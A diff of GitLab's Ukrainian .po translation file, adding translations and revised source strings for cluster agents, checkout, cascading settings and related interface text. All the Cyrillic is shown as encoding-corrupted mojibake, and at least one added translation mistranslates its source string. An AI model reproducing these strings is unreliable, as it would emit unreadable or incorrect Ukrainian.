@@ -6566,10 +6676,10 @@ msgid "Cannot create the abuse report. This user has been blocked."
msgstr "Ðеможливо Ñтворити звіт про зловживаннÑ. КориÑтувача було заблоковано."
msgid "Cannot delete %{profile_name} referenced in security policy"
-msgstr ""
+msgstr "Ðе можна видалити %{profile_name} Ñк поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð² політиці безпеки"
msgid "Cannot have multiple Jira imports running at the same time"
-msgstr ""
+msgstr "Ðеможливо мати декілька імпортів Jira одночаÑно"
msgid "Cannot have multiple unresolved alerts"
msgstr ""
@@ -6578,7 +6688,7 @@ msgid "Cannot import because issues are not available in this project."
msgstr "Ðе вдаєтьÑÑ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚ÑƒÐ²Ð°Ñ‚Ð¸, тому що задачі не доÑтупні в цьому проєкті."
msgid "Cannot make the epic confidential if it contains non-confidential child epics"
-msgstr ""
+msgstr "Ðе можна зробити конфіденційний ідентифікатор кориÑтувача, Ñкщо він міÑтить неконфіденційні дочірні епіки"
msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
@@ -6587,7 +6697,7 @@ msgid "Cannot merge"
msgstr "Ðе може виконувати злиттÑ"
msgid "Cannot modify %{profile_name} referenced in security policy"
-msgstr ""
+msgstr "Ðе можна змінити %{profile_name} Ñк поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð° політику безпеки"
msgid "Cannot modify managed Kubernetes cluster"
msgstr "Ðеможливо змінити керований клаÑтер Kubernetes"
@@ -6614,10 +6724,10 @@ msgid "Capacity threshold"
msgstr "Поріг пропуÑкної здатноÑÑ‚Ñ–"
msgid "Card holder name"
-msgstr ""
+msgstr "Ім'Ñ Ð²Ð»Ð°Ñника картки"
msgid "Card number:"
-msgstr ""
+msgstr "Ðомер картки:"
msgid "CascadingSettings|Enforce for all subgroups"
msgstr ""
@@ -6626,13 +6736,13 @@ msgid "CascadingSettings|Setting enforced"
msgstr ""
msgid "CascadingSettings|Subgroups cannot change this setting."
-msgstr ""
+msgstr "Підгрупи не можуть змінити цей параметр."
msgid "CascadingSettings|This setting has been enforced by an instance admin."
-msgstr ""
+msgstr "Цей параметр було заÑтоÑовано адмініÑтратором інÑтанÑу."
msgid "CascadingSettings|This setting has been enforced by an owner of %{link}."
-msgstr ""
+msgstr "Це Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð±ÑƒÐ»Ð¾ заÑтоÑовано влаÑником %{link}."
msgid "CascadingSettings|cannot be changed because it is locked by an ancestor"
msgstr ""
@@ -6650,7 +6760,7 @@ msgid "Certificate (PEM)"
msgstr "Сертифікат (PEM)"
msgid "Certificate Issuer"
-msgstr ""
+msgstr "Сертифікат виданий:"
msgid "Certificate Subject"
msgstr ""
@@ -6671,7 +6781,7 @@ msgid "Change label"
msgstr "Змінити мітку"
msgid "Change made by"
-msgstr ""
+msgstr "Зміни внеÑені"
msgid "Change milestone"
msgstr "Змінити етап"
@@ -6686,7 +6796,7 @@ msgid "Change reviewer(s)."
msgstr ""
msgid "Change role"
-msgstr ""
+msgstr "Змінити роль"
msgid "Change status"
msgstr "Змінити ÑтатуÑ"
@@ -6713,25 +6823,25 @@ msgid "ChangeReviewer|Reviewer changed to %{new}"
msgstr ""
msgid "ChangeReviewer|Unassigned"
-msgstr ""
-
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
+msgstr "Ðепризначено"
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Вибрати (cherry-pick)"
-msgid "ChangeTypeAction|Pick into branch"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
+msgid "ChangeTypeAction|Pick into branch"
+msgstr "Вибрати у гілці"
+
msgid "ChangeTypeAction|Pick into project"
-msgstr ""
+msgstr "Вибрати в проєкті"
msgid "ChangeTypeAction|Revert"
msgstr "Ðнулювати коміт"
msgid "ChangeTypeAction|Revert in branch"
-msgstr ""
+msgstr "Ðнулювати у гілці"
msgid "ChangeTypeAction|Search branches"
msgstr "Пошук гілок"
@@ -6740,10 +6850,10 @@ msgid "ChangeTypeAction|Search projects"
msgstr "Пошук проєктів"
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
-msgstr ""
+msgstr "Почніть %{newMergeRequest} із цими змінами"
msgid "ChangeTypeAction|Switch branch"
-msgstr ""
+msgstr "Перемкнути гілку"
msgid "ChangeTypeAction|Switch project"
msgstr "Перемкнути проєкт"
@@ -6752,7 +6862,7 @@ msgid "ChangeTypeAction|This will create a new commit in order to revert the exi
msgstr "Це Ñтворить новий коміт, щоб анулювати Ñ–Ñнуючі зміни."
msgid "ChangeTypeAction|Your changes will be committed to %{branchName} because a merge request is open."
-msgstr ""
+msgstr "Ваші зміни будуть внеÑені до %{branchName} , оÑкільки запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð²Ñ–Ð´ÐºÑ€Ð¸Ñ‚Ð¸Ð¹."
msgid "Changed assignee(s)."
msgstr "Змінено виконавцÑ(ців)."
@@ -6769,11 +6879,8 @@ msgstr "Зміни"
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
-msgstr ""
+msgstr "Зміни збережено."
msgid "Changes suppressed. Click to show."
msgstr "Зміни приховано. ÐатиÑніть щоб показати."
@@ -6782,10 +6889,13 @@ msgid "Changes the title to \"%{title_param}\"."
msgstr "Змінює заголовок на \"%{title_param}\"."
msgid "Changes to the title have not been saved"
+msgstr "Зміни в заголовку не збережені"
+
+msgid "Changing any setting here requires an application restart"
msgstr ""
msgid "Changing group URL can have unintended side effects."
-msgstr ""
+msgstr "Зміна групи URL-адреÑи може мати небажані побічні ефекти."
msgid "Charts can't be displayed as the request for data has timed out. %{documentationLink}"
msgstr "Графіки не можуть відображатиÑÑ, оÑкільки вичерпано Ñ‡Ð°Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñƒ даних. %{documentationLink}"
@@ -6847,14 +6957,14 @@ msgstr "Перевірити наÑвніÑÑ‚ÑŒ функціональноÑÑ‚Ñ–
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
-msgstr ""
+msgid "Check the current instance configuration "
+msgstr "Перевірте поточну конфігурацію інÑтанÑу "
msgid "Check with your administrator."
-msgstr ""
+msgstr "ЗвернітьÑÑ Ð´Ð¾ адмініÑтратора."
msgid "Check your Docker images for known vulnerabilities."
msgstr "Перевірте Ñвої образи Docker на наÑвніÑÑ‚ÑŒ відомих вразливоÑтей."
@@ -6875,7 +6985,7 @@ msgid "Checking branch availability..."
msgstr "Перевірка доÑтупноÑÑ‚Ñ– гілки..."
msgid "Checking group URL availability..."
-msgstr ""
+msgstr "Перевірка доÑтупноÑÑ‚Ñ– URL групи..."
msgid "Checking group path availability..."
msgstr "Перевірка доÑтупноÑÑ‚Ñ– шлÑху Ð´Ð»Ñ Ð³Ñ€ÑƒÐ¿Ð¸..."
@@ -6890,7 +7000,7 @@ msgid "Checkout|$%{selectedPlanPrice} per 10 GB storage per pack"
msgstr ""
msgid "Checkout|$%{selectedPlanPrice} per pack of 1,000 minutes"
-msgstr ""
+msgstr "$%{selectedPlanPrice} за пакет 1000 хвилин"
msgid "Checkout|$%{selectedPlanPrice} per user per year"
msgstr "$%{selectedPlanPrice} на кориÑтувача на рік"
@@ -6906,7 +7016,7 @@ msgid "Checkout|%{cardType} ending in %{lastFourDigits}"
msgstr "%{cardType} закінчуєтьÑÑ Ð½Ð° %{lastFourDigits}"
msgid "Checkout|%{name}'s CI minutes"
-msgstr ""
+msgstr "%{name}хвилин CI"
msgid "Checkout|%{name}'s GitLab subscription"
msgstr "ПідпиÑка GitLab Ð´Ð»Ñ %{name}"
@@ -6914,6 +7024,9 @@ msgstr "ПідпиÑка GitLab Ð´Ð»Ñ %{name}"
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6930,9 +7043,6 @@ msgstr "%{selectedPlanText} план"
msgid "Checkout|%{startDate} - %{endDate}"
msgstr "%{startDate} - %{endDate}"
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6940,7 +7050,7 @@ msgid "Checkout|(x%{numberOfUsers})"
msgstr "(x%{numberOfUsers})"
msgid "Checkout|(x%{quantity})"
-msgstr ""
+msgstr "(x%{quantity})"
msgid "Checkout|Billing address"
msgstr "Платіжна адреÑа"
@@ -6952,7 +7062,7 @@ msgid "Checkout|CI minute packs are only used after you've used your subscriptio
msgstr ""
msgid "Checkout|CI minutes"
-msgstr ""
+msgstr "CI хвилини"
msgid "Checkout|Checkout"
msgstr "ÐžÑ„Ð¾Ñ€Ð¼Ð»ÐµÐ½Ð½Ñ Ð·Ð°Ð¼Ð¾Ð²Ð»ÐµÐ½Ð½Ñ"
@@ -6970,7 +7080,7 @@ msgid "Checkout|Continue to billing"
msgstr "Перейти до оплати"
msgid "Checkout|Continue to payment"
-msgstr ""
+msgstr "Продовжити платіж"
msgid "Checkout|Country"
msgstr "Країна"
@@ -6988,7 +7098,7 @@ msgid "Checkout|Edit"
msgstr "Редагувати"
msgid "Checkout|Enter a number greater than 0"
-msgstr ""
+msgstr "Введіть чиÑло, що більше 0"
msgid "Checkout|Exp %{expirationMonth}/%{expirationYear}"
msgstr ""
@@ -7012,7 +7122,7 @@ msgid "Checkout|Failed to register credit card. Please try again."
msgstr "Ðе вдалоÑÑ Ð·Ð°Ñ€ÐµÑ”Ñтрувати кредитну картку. Будь лаÑка, Ñпробуйте ще раз."
msgid "Checkout|GB"
-msgstr ""
+msgstr "ГБ"
msgid "Checkout|GitLab group"
msgstr "Група GitLab"
@@ -7042,13 +7152,13 @@ msgid "Checkout|Please select a state"
msgstr ""
msgid "Checkout|Purchase details"
-msgstr ""
+msgstr "Деталі покупки"
msgid "Checkout|Select"
msgstr "Вибрати"
msgid "Checkout|State"
-msgstr ""
+msgstr "Стан"
msgid "Checkout|Storage packs"
msgstr ""
@@ -7072,16 +7182,16 @@ msgid "Checkout|Total"
msgstr "Ð’Ñього"
msgid "Checkout|Total minutes: %{quantity}"
-msgstr ""
+msgstr "УÑього хвилин: %{quantity}"
msgid "Checkout|Total storage: %{quantity} GB"
-msgstr ""
+msgstr "Загальний обÑÑг пам’ÑÑ‚Ñ–: %{quantity} ГБ"
msgid "Checkout|Users"
msgstr "КориÑтувачі"
msgid "Checkout|You'll create your new group after checkout"
-msgstr ""
+msgstr "Ви Ñтворите Ñвою нову групу піÑÐ»Ñ Ð¾Ñ„Ð¾Ñ€Ð¼Ð»ÐµÐ½Ð½Ñ Ð·Ð°Ð¼Ð¾Ð²Ð»ÐµÐ½Ð½Ñ"
msgid "Checkout|Your organization"
msgstr "Ваша організаціÑ"
@@ -7126,14 +7236,11 @@ msgid "Child epic doesn't exist."
msgstr "Дочірній епік не Ñ–Ñнує."
msgid "Chinese language support using"
-msgstr ""
+msgstr "ВикориÑÑ‚Ð°Ð½Ð½Ñ ÐºÐ¸Ñ‚Ð°Ð¹Ñької мови"
msgid "Choose File..."
msgstr "Виберіть файл..."
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr "Виберіть гілку чи тег (напр. %{branch}) або введіть коміт (напр. %{sha}) Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ³Ð»Ñду змін або Ð´Ð»Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñƒ на злиттÑ."
-
msgid "Choose a file"
msgstr "Виберіть файл"
@@ -7171,7 +7278,7 @@ msgid "Choose visibility level, enable/disable project features and their permis
msgstr "Виберіть рівень видимоÑÑ‚Ñ–, увімкніть/вимкніть функції проєкту та Ñ—Ñ… дозволи, вимкніть ÑÐ¿Ð¾Ð²Ñ–Ñ‰ÐµÐ½Ð½Ñ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¾ÑŽ поштою та показувати емодзі."
msgid "Choose what content you want to see on a group’s overview page."
-msgstr ""
+msgstr "Вибрати вміÑÑ‚ оглÑдової Ñторінки групи."
msgid "Choose which Git strategy to use when fetching the project."
msgstr ""
@@ -7348,19 +7455,19 @@ msgid "Cleanup policies are executed by background workers. This setting defines
msgstr ""
msgid "Cleanup policy maximum number of tags to be deleted"
-msgstr ""
+msgstr "ÐžÑ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ð¿Ð¾Ð»Ñ–Ñ‚Ð¸ÐºÐ¸ макÑимальна кількіÑÑ‚ÑŒ тегів Ð´Ð»Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ"
msgid "Cleanup policy maximum processing time (seconds)"
-msgstr ""
+msgstr "МакÑимальний Ñ‡Ð°Ñ Ð¾Ð±Ñ€Ð¾Ð±ÐºÐ¸ політики Ð¾Ñ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ (Ñекунди)"
msgid "Cleanup policy maximum workers running concurrently"
-msgstr ""
+msgstr "МакÑимальна кількіÑÑ‚ÑŒ процеÑів політики очищеннÑ, що працюють одночаÑно"
msgid "Clear"
msgstr "ОчиÑтити"
msgid "Clear all repository checks"
-msgstr ""
+msgstr "ОчиÑтити вÑÑ– перевірки репозиторію"
msgid "Clear chart filters"
msgstr "ОчиÑтити фільтри графіків"
@@ -7411,10 +7518,10 @@ msgid "Click to expand text"
msgstr "ÐатиÑніть, щоб розгорнути текÑÑ‚"
msgid "Click to hide"
-msgstr ""
+msgstr "ÐатиÑніть, щоб Ñховати"
msgid "Click to reveal"
-msgstr ""
+msgstr "ÐатиÑніть, щоб показати"
msgid "Client authentication certificate"
msgstr "Сертифікат автентифікації клієнта"
@@ -7426,11 +7533,14 @@ msgid "Client authentication key password"
msgstr "Пароль ключа автентифікації клієнта"
msgid "Client request timeout"
-msgstr ""
+msgstr "Ð§Ð°Ñ Ð¾Ñ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñƒ клієнта"
msgid "Clients"
msgstr "Клієнти"
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr "Клонувати"
@@ -7438,7 +7548,7 @@ msgid "Clone repository"
msgstr "Клонувати репозиторій"
msgid "Clone this issue"
-msgstr ""
+msgstr "Клонувати цю задачу"
msgid "Clone with %{http_label}"
msgstr "Клонувати з %{http_label}"
@@ -7462,7 +7572,7 @@ msgid "CloneIssue|Cannot clone issues of '%{issue_type}' type."
msgstr ""
msgid "Cloned this issue to %{path_to_project}."
-msgstr ""
+msgstr "Клоновано цю задачу до %{path_to_project}."
msgid "Clones this issue, without comments, to %{project}."
msgstr ""
@@ -7473,11 +7583,14 @@ msgstr "Закрити"
msgid "Close %{issueType}"
msgstr "Закрити %{issueType}"
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr "Закрити %{tabname}"
msgid "Close design"
-msgstr ""
+msgstr "Закрити дизайн"
msgid "Close epic"
msgstr "Закрити епік"
@@ -7498,7 +7611,7 @@ msgid "Closed %{epicTimeagoDate}"
msgstr "Закрито %{epicTimeagoDate}"
msgid "Closed MRs"
-msgstr ""
+msgstr "Закриті запити"
msgid "Closed epics"
msgstr "Закриті епіки"
@@ -7515,12 +7628,6 @@ msgstr "Закрито: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr "Закриває %{quick_action_target}."
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr "КлаÑтер"
@@ -7542,37 +7649,76 @@ msgstr "Рівень клаÑтера"
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
+msgstr "Токени доÑтупу"
+
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
msgstr ""
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
-msgstr ""
+msgstr "Agent ніколи не підключаєтьÑÑ Ð´Ð¾ GitLab"
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
-msgstr ""
+msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð²Ð°ÑˆÐ¸Ñ… GitLab Agents"
msgid "ClusterAgents|An error occurred while loading your agent"
-msgstr ""
+msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при завантаженні вашого агента"
msgid "ClusterAgents|An unknown error occurred. Please try again."
+msgstr "СталаÑÑ Ð½ÐµÐ²Ñ–Ð´Ð¾Ð¼Ð° помилка, Ñпробуйте ще раз."
+
+msgid "ClusterAgents|Certificate"
msgstr ""
msgid "ClusterAgents|Configuration"
msgstr "КонфігураціÑ"
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr "Підключено"
msgid "ClusterAgents|Connection status"
-msgstr ""
+msgstr "Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð·'єднаннÑ"
msgid "ClusterAgents|Copy token"
+msgstr "Копіювати токен"
+
+msgid "ClusterAgents|Create a new cluster"
msgstr ""
msgid "ClusterAgents|Created by"
@@ -7584,41 +7730,47 @@ msgstr "Створено %{name} %{time}"
msgid "ClusterAgents|Date created"
msgstr "Дата ÑтвореннÑ"
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr "ОпиÑ"
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
-msgstr ""
+msgstr "ОÑтаннє Ð¿Ñ–Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ %{timeAgo}."
msgid "ClusterAgents|Last contact"
-msgstr ""
+msgstr "ОÑтанній контакт"
msgid "ClusterAgents|Learn how to create an agent access token"
+msgstr "ДізнайтеÑÑ, Ñк Ñтворити токен доÑтупу агентів"
+
+msgid "ClusterAgents|Learn how to troubleshoot"
msgstr ""
msgid "ClusterAgents|Make sure you are using a valid token."
-msgstr ""
+msgstr "ПереконайтеÑÑ, що ви викориÑтовуєте дійÑний токен."
msgid "ClusterAgents|Name"
msgstr "Ім'Ñ"
@@ -7627,79 +7779,97 @@ msgid "ClusterAgents|Never"
msgstr "Ðіколи"
msgid "ClusterAgents|Never connected"
+msgstr "Ðіколи не підключавÑÑ"
+
+msgid "ClusterAgents|No agents"
msgstr ""
-msgid "ClusterAgents|Not connected"
+msgid "ClusterAgents|No clusters connected through cluster certificates"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Not connected"
+msgstr "Ðе підключений"
+
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
-msgstr ""
+msgstr "Рекомендований ÑпоÑіб уÑтановки"
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
-msgstr ""
+msgid "ClusterAgents|Registering Agent"
+msgstr "РеєÑÑ‚Ñ€Ð°Ñ†Ñ–Ñ Ð°Ð³ÐµÐ½Ñ‚Ð°"
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
-msgstr ""
+msgid "ClusterAgents|Registration token"
+msgstr "РеєÑÑ‚Ñ€Ð°Ñ†Ñ–Ñ Ñ‚Ð¾ÐºÐµÐ½Ð°"
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
-msgstr ""
+msgstr "Цей агент не має токенів"
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr "Ðевідомий кориÑтувач"
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
+msgstr "Вам потрібно Ñтворити токен Ð´Ð»Ñ Ð¿Ñ–Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ Ð´Ð¾ вашого агента"
+
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
msgstr ""
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
-msgstr ""
+msgstr "КориÑтувач не має доÑтатніх прав Ð´Ð»Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ñ‚Ð¾ÐºÐµÐ½Ð° Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ проєкту"
msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
-msgstr ""
+msgstr "У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтатньо прав Ð´Ð»Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ ÐºÐ»Ð°Ñтерного агента Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ проєкту"
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
-msgstr ""
+msgstr "У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтатньо прав Ð´Ð»Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ñ†ÑŒÐ¾Ð³Ð¾ клаÑтерного агента"
msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
-msgstr ""
+msgstr "%{linkStart}Детальніше%{linkEnd}"
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
-msgstr ""
+msgstr "Проєкт ÑƒÐ¿Ñ€Ð°Ð²Ð»Ñ–Ð½Ð½Ñ ÐºÐ»Ð°Ñтером може викориÑтовуватиÑÑ Ð´Ð»Ñ Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð½Ñ Ð·Ð°Ð²Ð´Ð°Ð½ÑŒ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð· привілеÑми Kubernetes %{code_open}cluster-admin%{code_close}."
msgid "ClusterIntegration|A service token scoped to %{code}kube-system%{end_code} with %{code}cluster-admin%{end_code} privileges."
msgstr "Токен ÑервіÑу, що дає доÑтуп до %{code}kube-system%{end_code} із правами %{code}cluster-admin%{end_code}."
@@ -7729,19 +7899,19 @@ msgid "ClusterIntegration|Adding an integration will share the cluster across al
msgstr "Ð”Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ Ñ–Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ— надаÑÑ‚ÑŒ доÑтуп до клаÑтера у вÑÑ–Ñ… ваших проєктах."
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
-msgstr ""
+msgstr "Детальні Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñ–Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ— із цим Kubernetes-клаÑтером"
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
-msgstr ""
+msgstr "Дозволити GitLab керувати проÑтором імен та Ñлужбовими обліковими запиÑами Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ клаÑтера. %{linkStart}ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ%{linkEnd}"
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
-msgstr ""
+msgstr "Дозволити GitLab керувати проÑторами імен та Ñлужбовими обліковими запиÑами Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ клаÑтера."
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
-msgstr ""
+msgstr "ДозволÑÑ” GitLab виконувати запит до Ñпеціально налаштованого у клаÑтері Elasticsearch Ð´Ð»Ñ Ð¶ÑƒÑ€Ð½Ð°Ð»Ñ–Ð² Pod."
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
-msgstr ""
+msgstr "ДозволÑÑ” GitLab виконувати запит щодо метрик до Ñпеціально налаштованого Prometheus в клаÑтері."
msgid "ClusterIntegration|Amazon EKS"
msgstr "Amazon EKS"
@@ -7759,7 +7929,7 @@ msgid "ClusterIntegration|An error occurred while trying to fetch zone machine t
msgstr "Помилка при отриманні типів машин зони: %{error}"
msgid "ClusterIntegration|An unknown error occurred while attempting to connect to Kubernetes."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ñпроби з'Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ð· Kubernetes ÑталаÑÑ Ð½ÐµÐ²Ñ–Ð´Ð¾Ð¼Ð° помилка."
msgid "ClusterIntegration|Any project namespaces"
msgstr "Будь-Ñкі проÑтори імен проєкту"
@@ -7774,7 +7944,7 @@ msgid "ClusterIntegration|Authenticate with Amazon Web Services"
